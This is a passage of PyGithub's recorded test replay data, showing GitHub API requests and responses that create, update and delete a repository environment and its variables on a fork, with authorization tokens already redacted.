rl":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"73d57acaadb6db237c08b3cd25569aa2cc8d7e42f6331587660b3e7487ada6a5"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE2B:5F56:ED8AEB:1EF379C:655F740C')] {"id":1725311729,"node_id":"EN_kwDOKoE_5s5m1irx","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T15:31:37Z","updated_at":"2023-11-23T15:31:37Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} https POST api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable_name", "value": "variable-value"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE2C:073C:FA9F0F:209713F:655F740C')] {} https PATCH api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables/variable_name {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable_name", "value": "variable-value123"} 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE2D:73C2:17EF09A:311CF21:655F740C')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables/variable_name {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:25 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE2E:0819:10A255B:227BFDA:655F740C')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:25 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE2F:0C70:FD3F4D:20E93E5:655F740D')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testEnvironmentVariables.txt0000644000175100001660000007577314756101563026302 0ustar00runnerdockerhttps GET api.github.com None /repos/AndrewJDawes/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE33:0953:FDEB7F:20F76FC:655F7411')] {"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/priva